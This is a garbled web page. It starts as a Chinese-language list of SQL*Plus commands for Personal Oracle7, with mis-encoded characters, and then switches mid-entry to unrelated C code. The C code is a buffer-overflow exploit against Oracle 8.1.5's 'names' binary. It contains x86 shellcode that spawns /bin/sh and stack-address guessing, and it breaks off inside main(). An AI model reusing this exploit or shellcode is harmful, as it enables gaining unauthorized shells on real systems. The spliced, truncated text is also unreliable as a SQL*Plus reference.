【點(diǎn)擊:】
阿木伯 著
|
|
SQL*PLUS常用命令列表 |
|
- 軟件環(huán)境:
1、Windows 98 第二版
2、Oracle數(shù)據(jù)庫(kù)版本為:Personal Oracle7 Release 7.3.4.0.0
3、Oracle安裝路徑為:C:\ORAWIN95
- 命令列表:
假設(shè)當(dāng)前執(zhí)行命令為:select * from tab;
(a)ppend 添加文本到緩沖區(qū)當(dāng)前行尾 a order by tname 結(jié)果:select * from tab order by tname;
?。ㄗⅲ篴后面跟2個(gè)空格)
(c)hange/old/new 在當(dāng)前行用新的文本替換舊的文本 c
#include
#include
#define BUFFER 800
#define NOP 0x90
#define PATH "/hackerslab/loveyou/oracle/8.1.5/bin/names"
char shellcode[] =
"\xeb\x1d"
"\x5e"
"\x29\xc0"
"\x88\x46\x07"
"\x89\x46\x0c"
"\x89\x76\x08"
"\xb0\x0b"
"\x87\xf3"
"\x8d\x4b\x08"
"\x8d\x53\x0c"
"\xcd\x80"
"\x29\xc0"
"\x40"
"\xcd\x80"
"\xe8\xde\xff\xff\xff"
"/bin/sh";
unsigned long getesp(void)
{
__asm__("movl %esp,%eax");
}
int main(int argc, char *argv[])
{
char *buff, *ptr,binary[120];
long *addr_ptr, addr;
int bsize=BUFFER;
int i,offset;
offset = 0 ;
if ( argc > 1 ) offset = atoi(argv[1]);
buff = malloc(bsize);
addr = getesp() - 5933 - offset;
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i
|
|